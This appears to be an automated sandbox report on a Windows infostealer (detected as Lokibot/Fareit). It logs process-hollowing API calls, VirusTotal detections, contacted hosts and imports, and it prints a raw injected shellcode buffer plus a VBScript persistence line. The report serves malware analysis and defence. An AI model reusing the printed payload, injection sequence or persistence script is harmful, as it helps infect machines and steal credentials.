Process injection Process 3676 resumed a thread in remote process 3752
Process injection Process 3912 resumed a thread in remote process 3980
Process injection Process 2944 resumed a thread in remote process 3060
Process injection Process 708 resumed a thread in remote process 3316
Process injection Process 3640 resumed a thread in remote process 3396
Process injection Process 3924 resumed a thread in remote process 4020
Process injection Process 3224 resumed a thread in remote process 2420
Process injection Process 3696 resumed a thread in remote process 3848
Process injection Process 360 resumed a thread in remote process 1124
Process injection Process 3384 resumed a thread in remote process 3956
Process injection Process 2712 resumed a thread in remote process 1856
Process injection Process 1416 resumed a thread in remote process 2404
Process injection Process 628 resumed a thread in remote process 1324
Time & API Arguments Status Return Repeated
1619625618.396499
NtResumeThread
thread_handle: 0x00000104
suspend_count: 1
process_identifier: 1760
success 0 0
1619625644.756751
NtResumeThread
thread_handle: 0x00000104
suspend_count: 1
process_identifier: 3516
success 0 0
1619625645.381374
NtResumeThread
thread_handle: 0x00000104
suspend_count: 1
process_identifier: 3752
success 0 0
1619625646.865751
NtResumeThread
thread_handle: 0x00000104
suspend_count: 1
process_identifier: 3980
success 0 0
1619625648.646501
NtResumeThread
thread_handle: 0x00000104
suspend_count: 1
process_identifier: 3060
success 0 0
1619625650.506751
NtResumeThread
thread_handle: 0x00000104
suspend_count: 1
process_identifier: 3316
success 0 0
1619625653.240374
NtResumeThread
thread_handle: 0x00000104
suspend_count: 1
process_identifier: 3396
success 0 0
1619625654.974499
NtResumeThread
thread_handle: 0x00000104
suspend_count: 1
process_identifier: 4020
success 0 0
1619625660.849874
NtResumeThread
thread_handle: 0x00000104
suspend_count: 1
process_identifier: 2420
success 0 0
1619625662.974374
NtResumeThread
thread_handle: 0x00000104
suspend_count: 1
process_identifier: 3848
success 0 0
1619625664.927874
NtResumeThread
thread_handle: 0x00000104
suspend_count: 1
process_identifier: 1124
success 0 0
1619625668.474626
NtResumeThread
thread_handle: 0x00000104
suspend_count: 1
process_identifier: 3956
success 0 0
1619625670.616249
NtResumeThread
thread_handle: 0x00000104
suspend_count: 1
process_identifier: 1856
success 0 0
1619625672.552751
NtResumeThread
thread_handle: 0x00000104
suspend_count: 1
process_identifier: 2404
success 0 0
1619625676.819124
NtResumeThread
thread_handle: 0x00000104
suspend_count: 1
process_identifier: 1324
success 0 0
Executed a process and injected code into it, probably while unpacking (50 out of 125 个事件)
Time & API Arguments Status Return Repeated
1619625615.224374
CreateProcessInternalW
thread_identifier: 880
thread_handle: 0x00000104
process_identifier: 884
current_directory:
filepath: C:\Windows\System32\notepad.exe
track: 1
command_line:
filepath_r: C:\Windows\system32\notepad.exe
stack_pivoted: 0
creation_flags: 32 (NORMAL_PRIORITY_CLASS)
process_handle: 0x000000fc
inherit_handles: 0
success 1 0
1619625615.224374
NtAllocateVirtualMemory
process_identifier: 884
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0x000000fc
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
base_address: 0x000b0000
success 0 0
1619625615.224374
NtAllocateVirtualMemory
process_identifier: 884
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 4 (PAGE_READWRITE)
process_handle: 0x000000fc
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
base_address: 0x000c0000
success 0 0
1619625615.224374
WriteProcessMemory
process_identifier: 884
buffer: Q¹0d‹‹@ ‹@ ‹‹‹@‰$‹$YÃVWR¾§ÆgNè„Yƒøv· ¿Zwf;Ït ¿Ntf;ÏuƒÂƒè…Àt‹ÎÁá‹þÁïϾ:Ï3ñBHué_‹Æ^ÃU‹ìQQ‹MSVW…Ét;¸MZf9u1‹A<Át*8PEu"‹@xƒeüÁ‹x‹X$‹p ‹@ùÙñ‰Eø…Àu 3À_^[ÉËM‹Eü‹†ÑèOÿÿÿ;E t ÿEü‹Eü;Eøràë׋Eü·C‹‡EëÊU‹ìQSW3ÿWWjWjh@ÿuÿV‹Øƒûÿu3Àë&WWWS‰}üÿV0W‹}EüPWÿu SÿV SÿV3À9}ü”À_[ÉÅÉtè•…Àt3Éf‰ÃU‹ììV‹ð…äüÿÿP3ÀPPjPÿVl…À…Žj\Xf‰Eü3Àj.f‰EþXjvf‰EðXf‰EòjbXf‰EôjsXf‰Eö3Àf‰EøUü…äüÿÿèÖ‹U è΍UðèÆÿu…ìþÿÿÿuPÿVxƒÄ …äüÿÿPÿV…ìþÿÿPèÂ@P…ìþÿÿP…äüÿÿPèîþÿÿƒÄ^ÉÃU‹ìì,j:XjZf‰EÜXjof‰EÞXjnf‰EàXjef‰EâXjIf‰EäXjdf‰EæXjef‰EèXjnf‰EêXjtf‰EìXjif‰EîXjff‰EðXjif‰EòXf‰EôjeXf‰EöjrXf‰Eø3Àf‰Eú…Ôýÿÿ謍UÜè÷EÿPÆEÿèPEÿP…ÔýÿÿPè?þÿÿƒÄÉÃU‹ìQƒeüV‹ðEüPÿuèþYY…Àtƒ}ütÿuüPÿu è þÿÿƒÄ …Àt3À@ë3À^ÉÃU‹ììSV‹ð‹Ï…øýÿÿè'‹Èè(þÿÿ3ÛS…øýÿÿPÿVWÿV8] uWÿu‹Æè~ÿÿÿYY‹Øë €} u5SWÿuÿWÿV(3ۃøÿ‹Ï•Ãèªþÿÿƒûu9]u WÿV(ƒÈPWÿV,3À@ë3À^[ÉÃU‹ìƒìSVWèsüÿÿ‹ø…ÿ„"h"¿ŠWèÌüÿÿ‹ØYY…Û„ jh0h„jÿӋð…ö„ñh¼Û«½W‰~`‰^@è•üÿÿhÒ¼‰W‰F$è‡üÿÿh|QgjW‰F(èyüÿÿhëI”W‰F,èküÿÿh•å©—W‰F0è]üÿÿh¥°(W‰F4èOüÿÿh)·W‰F8èAüÿÿh[uŠðW‰FDè3üÿÿƒÄ@‹Øhd†óuW‰^ è üÿÿh¢¦aëW‰F èüÿÿhÕOd"W‰Fèüÿÿhy.ÔW‰Fèöûÿÿh±÷W‰FèèûÿÿheóW÷W‰FèÚûÿÿh¯4P“W‰FèÌûÿÿh{=#W‰F<è¾ûÿÿƒÄ@hOû~ W‰Fè­ûÿÿhà=!6W‰FHèŸûÿÿhh‰#W‰è’ûÿÿ‰FLhÍeWè„ûÿÿhÓ1ÆVW‰FPèvûÿÿh7œ½W‰FTèhûÿÿh£-ãW‰FXèZûÿÿ‰F\ƒÄ8EðPÇEðshelÇEôl32ÿӋø…ÿt"hÀåz°W‰~dè,ûÿÿhêêºW‰FlèûÿÿƒÄ‰FpEøPÇEøuserfÇEü32ÆEþÿV ‹ø…ÿtAhqV°0W‰~hèìúÿÿhkV°0W‰FxèÞúÿÿh&cj—W‰FtèÐúÿÿh<cj—W‰F|èÂúÿÿƒÄ ‰†€‹Æë3À_^[ÉÃU‹ìƒì\V‹uW3ÿ;÷„îSè¤ýÿÿ‹Ø;ßu WÿDéՍ†‰EüPëj2ÿSPÿuüWWÿSL…ÀuïjdÿSPF‰Eø‰E9>tYÿ¶¶ŽQP¾ ‹Ãè¾üÿÿ‰}3ÿƒÄ 9>t1jDE¤WPèjEèWPèüƒÄEèPE¤PWWj WWWWÿuÿS$9¾(t†lP†,Pÿu‹Ãè½úÿÿƒÄ 9¾tëj2ÿSPÿuüWWÿSL…ÀuïjdÿSPÿuøÿSWÿSD[_3À^ÉÂU‹ìƒì SW3ÿWWjWjh€ÿu‰}øÿV‹Øƒûÿu3Àë>WSÿV‰Eô;Çt+jh0PWÿV@‰Eø;ÇtWMüQÿuô‰}üPSÿV‹Eü‹M ‰SÿV‹Eø_[É÷f‰f…ÒtV‹ð+ñƒÁ·f‰f…Òuñ^ÃU‹ìQQ‹E‰Eü‹EüE‰Eø‹Eü;Eøt‹EüŠM ˆ‹Eü@‰Eüëç‹EÉÃfƒ8V‹ðt ƒÆfƒ>u÷+ò· f‰ ƒÂf…Éuñ^ËD$Š@„Éuù+D$HÅÉu3ÀÃfƒ9‹Át ƒÀfƒ8u÷+ÁÑøÅÉt èÚÿÿÿ…ÀtDAþë fƒù\t ƒè·f…Éuï3ÀÃ
process_handle: 0x000000fc
base_address: 0x000b0000
success 1 0
1619625615.224374
WriteProcessMemory
process_identifier: 884
buffer: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\63a5e0cd270d6d0ecf15983fa7d0dfa9.exeC:\Users\Administrator.Oskar-PC\AppData\Roaming\AppData\document.exe"C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\63a5e0cd270d6d0ecf15983fa7d0dfa9.exe" windowsseT bZuzCIaI = crEaTEobjEcT("wscrIPt.shElL") BZUZCIaI.ruN """%ls""", 0, False
process_handle: 0x000000fc
base_address: 0x000c0000
success 1 0
1619625617.021999
CreateProcessInternalW
thread_identifier: 2040
thread_handle: 0x000000d0
process_identifier: 1056
current_directory:
filepath: C:\Users\Administrator.Oskar-PC\AppData\Roaming\AppData\document.exe
track: 1
command_line:
filepath_r: C:\Users\Administrator.Oskar-PC\AppData\Roaming\AppData\document.exe
stack_pivoted: 0
creation_flags: 32 (NORMAL_PRIORITY_CLASS)
process_handle: 0x000000cc
inherit_handles: 0
success 1 0
1619625617.302499
CreateProcessInternalW
thread_identifier: 1272
thread_handle: 0x00000104
process_identifier: 1760
current_directory:
filepath:
track: 1
command_line: "C:\Users\Administrator.Oskar-PC\AppData\Roaming\AppData\document.exe"
filepath_r:
stack_pivoted: 0
creation_flags: 4 (CREATE_SUSPENDED)
process_handle: 0x000000fc
inherit_handles: 0
success 1 0
1619625617.302499
NtUnmapViewOfSection
process_identifier: 1760
region_size: 4096
process_handle: 0x000000fc
base_address: 0x00400000
success 0 0
1619625617.302499
NtMapViewOfSection
section_handle: 0x0000010c
process_identifier: 1760
commit_size: 520192
win32_protect: 64 (PAGE_EXECUTE_READWRITE)
buffer:
process_handle: 0x000000fc
allocation_type: 0 ()
section_offset: 0
view_size: 520192
base_address: 0x00400000
success 0 0
1619625617.318499
NtGetContextThread
thread_handle: 0x00000104
success 0 0
1619625617.318499
NtSetContextThread
thread_handle: 0x00000104
registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4707504
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
process_identifier: 1760
success 0 0
1619625618.396499
NtResumeThread
thread_handle: 0x00000104
suspend_count: 1
process_identifier: 1760
success 0 0
1619625618.427499
CreateProcessInternalW
thread_identifier: 920
thread_handle: 0x00000108
process_identifier: 1868
current_directory:
filepath:
track: 1
command_line: "C:\Users\Administrator.Oskar-PC\AppData\Roaming\AppData\document.exe" 2 1760 25300265
filepath_r:
stack_pivoted: 0
creation_flags: 32 (NORMAL_PRIORITY_CLASS)
process_handle: 0x00000118
inherit_handles: 0
success 1 0
1619625644.537751
CreateProcessInternalW
thread_identifier: 3452
thread_handle: 0x000004b4
process_identifier: 3448
current_directory:
filepath: C:\Users\Administrator.Oskar-PC\AppData\Roaming\AppData\document.exe
track: 1
command_line:
filepath_r: C:\Users\Administrator.Oskar-PC\AppData\Roaming\AppData\document.exe
stack_pivoted: 0
creation_flags: 32 (NORMAL_PRIORITY_CLASS)
process_handle: 0x000004b8
inherit_handles: 0
success 1 0
1619625644.724751
CreateProcessInternalW
thread_identifier: 3520
thread_handle: 0x00000104
process_identifier: 3516
current_directory:
filepath:
track: 1
command_line: "C:\Users\Administrator.Oskar-PC\AppData\Roaming\AppData\document.exe"
filepath_r:
stack_pivoted: 0
creation_flags: 4 (CREATE_SUSPENDED)
process_handle: 0x000000fc
inherit_handles: 0
success 1 0
1619625644.724751
NtUnmapViewOfSection
process_identifier: 3516
region_size: 4096
process_handle: 0x000000fc
base_address: 0x00400000
success 0 0
1619625644.724751
NtMapViewOfSection
section_handle: 0x0000010c
process_identifier: 3516
commit_size: 520192
win32_protect: 64 (PAGE_EXECUTE_READWRITE)
buffer:
process_handle: 0x000000fc
allocation_type: 0 ()
section_offset: 0
view_size: 520192
base_address: 0x00400000
success 0 0
1619625644.740751
NtGetContextThread
thread_handle: 0x00000104
success 0 0
1619625644.740751
NtSetContextThread
thread_handle: 0x00000104
registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4707504
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
process_identifier: 3516
success 0 0
1619625644.756751
NtResumeThread
thread_handle: 0x00000104
suspend_count: 1
process_identifier: 3516
success 0 0
1619625644.771751
CreateProcessInternalW
thread_identifier: 3580
thread_handle: 0x00000108
process_identifier: 3576
current_directory:
filepath:
track: 1
command_line: "C:\Users\Administrator.Oskar-PC\AppData\Roaming\AppData\document.exe" 2 3516 25326625
filepath_r:
stack_pivoted: 0
creation_flags: 32 (NORMAL_PRIORITY_CLASS)
process_handle: 0x00000118
inherit_handles: 0
success 1 0
1619625645.162499
CreateProcessInternalW
thread_identifier: 3680
thread_handle: 0x00000104
process_identifier: 3676
current_directory:
filepath: C:\Users\Administrator.Oskar-PC\AppData\Roaming\AppData\document.exe
track: 1
command_line:
filepath_r: C:\Users\Administrator.Oskar-PC\AppData\Roaming\AppData\document.exe
stack_pivoted: 0
creation_flags: 32 (NORMAL_PRIORITY_CLASS)
process_handle: 0x00000108
inherit_handles: 0
success 1 0
1619625645.349374
CreateProcessInternalW
thread_identifier: 3756
thread_handle: 0x00000104
process_identifier: 3752
current_directory:
filepath:
track: 1
command_line: "C:\Users\Administrator.Oskar-PC\AppData\Roaming\AppData\document.exe"
filepath_r:
stack_pivoted: 0
creation_flags: 4 (CREATE_SUSPENDED)
process_handle: 0x000000fc
inherit_handles: 0
success 1 0
1619625645.349374
NtUnmapViewOfSection
process_identifier: 3752
region_size: 4096
process_handle: 0x000000fc
base_address: 0x00400000
success 0 0
1619625645.349374
NtMapViewOfSection
section_handle: 0x0000010c
process_identifier: 3752
commit_size: 520192
win32_protect: 64 (PAGE_EXECUTE_READWRITE)
buffer:
process_handle: 0x000000fc
allocation_type: 0 ()
section_offset: 0
view_size: 520192
base_address: 0x00400000
success 0 0
1619625645.365374
NtGetContextThread
thread_handle: 0x00000104
success 0 0
1619625645.365374
NtSetContextThread
thread_handle: 0x00000104
registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4707504
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
process_identifier: 3752
success 0 0
1619625645.381374
NtResumeThread
thread_handle: 0x00000104
suspend_count: 1
process_identifier: 3752
success 0 0
1619625645.396374
CreateProcessInternalW
thread_identifier: 3816
thread_handle: 0x00000108
process_identifier: 3812
current_directory:
filepath:
track: 1
command_line: "C:\Users\Administrator.Oskar-PC\AppData\Roaming\AppData\document.exe" 2 3752 25327250
filepath_r:
stack_pivoted: 0
creation_flags: 32 (NORMAL_PRIORITY_CLASS)
process_handle: 0x00000118
inherit_handles: 0
success 1 0
1619625646.412501
CreateProcessInternalW
thread_identifier: 3916
thread_handle: 0x00000118
process_identifier: 3912
current_directory:
filepath: C:\Users\Administrator.Oskar-PC\AppData\Roaming\AppData\document.exe
track: 1
command_line:
filepath_r: C:\Users\Administrator.Oskar-PC\AppData\Roaming\AppData\document.exe
stack_pivoted: 0
creation_flags: 32 (NORMAL_PRIORITY_CLASS)
process_handle: 0x0000011c
inherit_handles: 0
success 1 0
1619625646.615751
CreateProcessInternalW
thread_identifier: 3984
thread_handle: 0x00000104
process_identifier: 3980
current_directory:
filepath:
track: 1
command_line: "C:\Users\Administrator.Oskar-PC\AppData\Roaming\AppData\document.exe"
filepath_r:
stack_pivoted: 0
creation_flags: 4 (CREATE_SUSPENDED)
process_handle: 0x000000fc
inherit_handles: 0
success 1 0
1619625646.615751
NtUnmapViewOfSection
process_identifier: 3980
region_size: 4096
process_handle: 0x000000fc
base_address: 0x00400000
success 0 0
1619625646.615751
NtMapViewOfSection
section_handle: 0x0000010c
process_identifier: 3980
commit_size: 520192
win32_protect: 64 (PAGE_EXECUTE_READWRITE)
buffer:
process_handle: 0x000000fc
allocation_type: 0 ()
section_offset: 0
view_size: 520192
base_address: 0x00400000
success 0 0
1619625646.834751
NtGetContextThread
thread_handle: 0x00000104
success 0 0
1619625646.834751
NtSetContextThread
thread_handle: 0x00000104
registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4707504
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
process_identifier: 3980
success 0 0
1619625646.865751
NtResumeThread
thread_handle: 0x00000104
suspend_count: 1
process_identifier: 3980
success 0 0
1619625646.881751
CreateProcessInternalW
thread_identifier: 4044
thread_handle: 0x00000108
process_identifier: 4040
current_directory:
filepath:
track: 1
command_line: "C:\Users\Administrator.Oskar-PC\AppData\Roaming\AppData\document.exe" 2 3980 25328734
filepath_r:
stack_pivoted: 0
creation_flags: 32 (NORMAL_PRIORITY_CLASS)
process_handle: 0x00000118
inherit_handles: 0
success 1 0
1619625648.146874
CreateProcessInternalW
thread_identifier: 2940
thread_handle: 0x00000124
process_identifier: 2944
current_directory:
filepath: C:\Users\Administrator.Oskar-PC\AppData\Roaming\AppData\document.exe
track: 1
command_line:
filepath_r: C:\Users\Administrator.Oskar-PC\AppData\Roaming\AppData\document.exe
stack_pivoted: 0
creation_flags: 32 (NORMAL_PRIORITY_CLASS)
process_handle: 0x00000128
inherit_handles: 0
success 1 0
1619625648.318501
CreateProcessInternalW
thread_identifier: 1464
thread_handle: 0x00000104
process_identifier: 3060
current_directory:
filepath:
track: 1
command_line: "C:\Users\Administrator.Oskar-PC\AppData\Roaming\AppData\document.exe"
filepath_r:
stack_pivoted: 0
creation_flags: 4 (CREATE_SUSPENDED)
process_handle: 0x000000fc
inherit_handles: 0
success 1 0
1619625648.318501
NtUnmapViewOfSection
process_identifier: 3060
region_size: 4096
process_handle: 0x000000fc
base_address: 0x00400000
success 0 0
1619625648.318501
NtMapViewOfSection
section_handle: 0x0000010c
process_identifier: 3060
commit_size: 520192
win32_protect: 64 (PAGE_EXECUTE_READWRITE)
buffer:
process_handle: 0x000000fc
allocation_type: 0 ()
section_offset: 0
view_size: 520192
base_address: 0x00400000
success 0 0
1619625648.615501
NtGetContextThread
thread_handle: 0x00000104
success 0 0
1619625648.615501
NtSetContextThread
thread_handle: 0x00000104
registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4707504
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
process_identifier: 3060
success 0 0
1619625648.646501
NtResumeThread
thread_handle: 0x00000104
suspend_count: 1
process_identifier: 3060
success 0 0
1619625648.662501
CreateProcessInternalW
thread_identifier: 952
thread_handle: 0x00000108
process_identifier: 1344
current_directory:
filepath:
track: 1
command_line: "C:\Users\Administrator.Oskar-PC\AppData\Roaming\AppData\document.exe" 2 3060 25330515
filepath_r:
stack_pivoted: 0
creation_flags: 32 (NORMAL_PRIORITY_CLASS)
process_handle: 0x00000118
inherit_handles: 0
success 1 0
1619625649.928124
CreateProcessInternalW
thread_identifier: 3208
thread_handle: 0x00000124
process_identifier: 708
current_directory:
filepath: C:\Users\Administrator.Oskar-PC\AppData\Roaming\AppData\document.exe
track: 1
command_line:
filepath_r: C:\Users\Administrator.Oskar-PC\AppData\Roaming\AppData\document.exe
stack_pivoted: 0
creation_flags: 32 (NORMAL_PRIORITY_CLASS)
process_handle: 0x00000128
inherit_handles: 0
success 1 0
1619625650.068751
CreateProcessInternalW
thread_identifier: 3328
thread_handle: 0x00000104
process_identifier: 3316
current_directory:
filepath:
track: 1
command_line: "C:\Users\Administrator.Oskar-PC\AppData\Roaming\AppData\document.exe"
filepath_r:
stack_pivoted: 0
creation_flags: 4 (CREATE_SUSPENDED)
process_handle: 0x000000fc
inherit_handles: 0
success 1 0
1619625650.068751
NtUnmapViewOfSection
process_identifier: 3316
region_size: 4096
process_handle: 0x000000fc
base_address: 0x00400000
success 0 0
1619625650.084751
NtMapViewOfSection
section_handle: 0x0000010c
process_identifier: 3316
commit_size: 520192
win32_protect: 64 (PAGE_EXECUTE_READWRITE)
buffer:
process_handle: 0x000000fc
allocation_type: 0 ()
section_offset: 0
view_size: 520192
base_address: 0x00400000
success 0 0
1619625650.443751
NtGetContextThread
thread_handle: 0x00000104
success 0 0
File has been identified by 52 AntiVirus engines on VirusTotal as malicious (50 out of 52 个事件)
Elastic malicious (high confidence)
MicroWorld-eScan Trojan.GenericKD.43566344
McAfee Fareit-FPQ!63A5E0CD270D
Cylance Unsafe
VIPRE Trojan.Win32.Generic!BT
Sangfor Malware
K7AntiVirus Trojan ( 0056cd321 )
BitDefender Trojan.GenericKD.43566344
K7GW Trojan ( 0056cd321 )
Cybereason malicious.1baed5
BitDefenderTheta Gen:NN.ZelphiF.34670.WGW@aOIL0tmi
Cyren W32/Injector.LMFY-2930
Symantec Infostealer.Lokibot!43
ESET-NOD32 a variant of Win32/Injector.EMUR
APEX Malicious
Avast Win32:Malware-gen
Kaspersky HEUR:Trojan.Win32.Kryptik.gen
Alibaba Trojan:Win32/DelfInject.ali2000015
NANO-Antivirus Trojan.Win32.Kryptik.hpcwwg
Rising Trojan.Injector!1.C99D (CLASSIC)
Ad-Aware Trojan.GenericKD.43566344
Emsisoft Trojan.GenericKD.43566344 (B)
F-Secure Dropper.DR/Delphi.ykecp
DrWeb Trojan.PWS.Stealer.25089
Zillya Trojan.Fareit.Win32.36319
McAfee-GW-Edition BehavesLike.Win32.Fareit.bc
Sophos Mal/Generic-S + Troj/AutoG-IS
Ikarus Trojan-Dropper.Win32.Autoit
GData Trojan.GenericKD.43566344
Avira DR/Delphi.ykecp
Antiy-AVL Trojan/Win32.Kryptik
Kingsoft Win32.Troj.Undef.(kcloud)
Gridinsoft Trojan.Win32.FormBook.oa
Arcabit Trojan.Generic.D298C508
AhnLab-V3 Suspicious/Win.Delphiless.X2094
ZoneAlarm HEUR:Trojan.Win32.Kryptik.gen
Microsoft Trojan:Win32/DataStealer.VD!MTB
Cynet Malicious (score: 100)
Acronis suspicious
ALYac Trojan.GenericKD.43566344
MAX malware (ai score=82)
Malwarebytes Trojan.MalPack.DLF
Panda Trj/CI.A
Zoner Trojan.Win32.97452
Tencent Win32.Trojan.Kryptik.Wopx
SentinelOne Static AI - Suspicious PE
Fortinet W32/Injector.EMTN!tr
MaxSecure Trojan.Malware.300983.susgen
AVG Win32:Malware-gen
Paloalto generic.ml
Connects to IP addresses that are no longer responding to requests (legitimate services will remain up-and-running usually) (2 个事件)
dead_host 172.217.24.14:443
dead_host 172.217.160.110:443
可视化分析
二进制图像
暂无二进制图像 该样本未生成二进制可视化图像
运行截图
暂无运行截图 该样本运行过程中未生成截图

👋 欢迎使用 ChatHawk

我是您的恶意软件分析助手，可以帮您分析和解读恶意软件报告。请随时向我提问！

🔍 主要威胁分析
⚡ 行为特征
🛡️ 防护建议
🔧 技术手段
🎯 检测方法
🤖

PE Compile Time

1992-06-20 06:22:17

Imports

Library kernel32.dll:
• 0x47e13c VirtualFree
• 0x47e140 VirtualAlloc
• 0x47e144 LocalFree
• 0x47e148 LocalAlloc
• 0x47e14c GetVersion
• 0x47e150 GetCurrentThreadId
• 0x47e15c VirtualQuery
• 0x47e160 WideCharToMultiByte
• 0x47e164 MultiByteToWideChar
• 0x47e168 lstrlenA
• 0x47e16c lstrcpynA
• 0x47e170 LoadLibraryExA
• 0x47e174 GetThreadLocale
• 0x47e178 GetStartupInfoA
• 0x47e17c GetProcAddress
• 0x47e180 GetModuleHandleA
• 0x47e184 GetModuleFileNameA
• 0x47e188 GetLocaleInfoA
• 0x47e18c GetCommandLineA
• 0x47e190 FreeLibrary
• 0x47e194 FindFirstFileA
• 0x47e198 FindClose
• 0x47e19c ExitProcess
• 0x47e1a0 WriteFile
• 0x47e1a8 RtlUnwind
• 0x47e1ac RaiseException
• 0x47e1b0 GetStdHandle
Library user32.dll:
• 0x47e1b8 GetKeyboardType
• 0x47e1bc LoadStringA
• 0x47e1c0 MessageBoxA
• 0x47e1c4 CharNextA
Library advapi32.dll:
• 0x47e1cc RegQueryValueExA
• 0x47e1d0 RegOpenKeyExA
• 0x47e1d4 RegCloseKey
Library oleaut32.dll:
• 0x47e1dc SysFreeString
• 0x47e1e0 SysReAllocStringLen
• 0x47e1e4 SysAllocStringLen
Library kernel32.dll:
• 0x47e1ec TlsSetValue
• 0x47e1f0 TlsGetValue
• 0x47e1f4 LocalAlloc
• 0x47e1f8 GetModuleHandleA
Library advapi32.dll:
• 0x47e200 RegQueryValueExA
• 0x47e204 RegOpenKeyExA
• 0x47e208 RegCloseKey
Library kernel32.dll:
• 0x47e210 lstrcpyA
• 0x47e214 WriteFile
• 0x47e218 WaitForSingleObject
• 0x47e21c VirtualQuery
• 0x47e220 VirtualAlloc
• 0x47e224 Sleep
• 0x47e228 SizeofResource
• 0x47e22c SetThreadLocale
• 0x47e230 SetFilePointer
• 0x47e234 SetEvent
• 0x47e238 SetErrorMode
• 0x47e23c SetEndOfFile
• 0x47e240 ResetEvent
• 0x47e244 ReadFile
• 0x47e248 MulDiv
• 0x47e24c LockResource
• 0x47e250 LoadResource
• 0x47e254 LoadLibraryA
• 0x47e260 GlobalUnlock
• 0x47e264 GlobalReAlloc
• 0x47e268 GlobalHandle
• 0x47e26c GlobalLock
• 0x47e270 GlobalFree
• 0x47e274 GlobalFindAtomA
• 0x47e278 GlobalDeleteAtom
• 0x47e27c GlobalAlloc
• 0x47e280 GlobalAddAtomA
• 0x47e284 GetVersionExA
• 0x47e288 GetVersion
• 0x47e28c GetTickCount
• 0x47e290 GetThreadLocale
• 0x47e294 GetSystemInfo
• 0x47e298 GetStringTypeExA
• 0x47e29c GetStdHandle
• 0x47e2a0 GetProcAddress
• 0x47e2a4 GetModuleHandleA
• 0x47e2a8 GetModuleFileNameA
• 0x47e2ac GetLocaleInfoA
• 0x47e2b0 GetLocalTime
• 0x47e2b4 GetLastError
• 0x47e2b8 GetFullPathNameA
• 0x47e2bc GetDiskFreeSpaceA
• 0x47e2c0 GetDateFormatA
• 0x47e2c4 GetCurrentThreadId
• 0x47e2c8 GetCurrentProcessId
• 0x47e2cc GetCPInfo
• 0x47e2d0 GetACP
• 0x47e2d4 FreeResource
• 0x47e2d8 InterlockedExchange
• 0x47e2dc FreeLibrary
• 0x47e2e0 FormatMessageA
• 0x47e2e4 FindResourceA
• 0x47e2e8 EnumCalendarInfoA
• 0x47e2f4 CreateThread
• 0x47e2f8 CreateFileA
• 0x47e2fc CreateEventA
• 0x47e300 CompareStringA
• 0x47e304 CloseHandle
Library version.dll:
• 0x47e30c VerQueryValueA
• 0x47e314 GetFileVersionInfoA
Library gdi32.dll:
• 0x47e31c UnrealizeObject
• 0x47e320 StretchBlt
• 0x47e324 SetWindowOrgEx
• 0x47e328 SetWinMetaFileBits
• 0x47e32c SetViewportOrgEx
• 0x47e330 SetTextColor
• 0x47e334 SetStretchBltMode
• 0x47e338 SetROP2
• 0x47e33c SetPixel
• 0x47e340 SetEnhMetaFileBits
• 0x47e344 SetDIBColorTable
• 0x47e348 SetBrushOrgEx
• 0x47e34c SetBkMode
• 0x47e350 SetBkColor
• 0x47e354 SelectPalette
• 0x47e358 SelectObject
• 0x47e35c SaveDC
• 0x47e360 RestoreDC
• 0x47e364 Rectangle
• 0x47e368 RectVisible
• 0x47e36c RealizePalette
• 0x47e370 Polyline
• 0x47e374 PlayEnhMetaFile
• 0x47e378 PatBlt
• 0x47e37c MoveToEx
• 0x47e380 MaskBlt
• 0x47e384 LineTo
• 0x47e388 IntersectClipRect
• 0x47e38c GetWindowOrgEx
• 0x47e390 GetWinMetaFileBits
• 0x47e394 GetTextMetricsA
• 0x47e3a0 GetStockObject
• 0x47e3a4 GetPixel
• 0x47e3a8 GetPaletteEntries
• 0x47e3ac GetObjectA
• 0x47e3b8 GetEnhMetaFileBits
• 0x47e3bc GetDeviceCaps
• 0x47e3c0 GetDIBits
• 0x47e3c4 GetDIBColorTable
• 0x47e3c8 GetDCOrgEx
• 0x47e3d0 GetClipBox
• 0x47e3d4 GetBrushOrgEx
• 0x47e3d8 GetBitmapBits
• 0x47e3dc ExtTextOutA
• 0x47e3e0 ExcludeClipRect
• 0x47e3e4 DeleteObject
• 0x47e3e8 DeleteEnhMetaFile
• 0x47e3ec DeleteDC
• 0x47e3f0 CreateSolidBrush
• 0x47e3f4 CreatePenIndirect
• 0x47e3f8 CreatePen
• 0x47e3fc CreatePalette
• 0x47e404 CreateFontIndirectA
• 0x47e408 CreateDIBitmap
• 0x47e40c CreateDIBSection
• 0x47e410 CreateCompatibleDC
• 0x47e418 CreateBrushIndirect
• 0x47e41c CreateBitmap
• 0x47e420 CopyEnhMetaFileA
• 0x47e424 BitBlt
Library user32.dll:
• 0x47e42c CreateWindowExA
• 0x47e430 WindowFromPoint
• 0x47e434 WinHelpA
• 0x47e438 WaitMessage
• 0x47e43c ValidateRect
• 0x47e440 UpdateWindow
• 0x47e444 UnregisterClassA
• 0x47e448 UnhookWindowsHookEx
• 0x47e44c TranslateMessage
• 0x47e454 TrackPopupMenu
• 0x47e45c ShowWindow
• 0x47e460 ShowScrollBar
• 0x47e464 ShowOwnedPopups
• 0x47e468 ShowCursor
• 0x47e46c SetWindowsHookExA
• 0x47e470 SetWindowTextA
• 0x47e474 SetWindowPos
• 0x47e478 SetWindowPlacement
• 0x47e47c SetWindowLongA
• 0x47e480 SetTimer
• 0x47e484 SetScrollRange
• 0x47e488 SetScrollPos
• 0x47e48c SetScrollInfo
• 0x47e490 SetRect
• 0x47e494 SetPropA
• 0x47e498 SetParent
• 0x47e49c SetMenuItemInfoA
• 0x47e4a0 SetMenu
• 0x47e4a4 SetKeyboardState
• 0x47e4a8 SetForegroundWindow
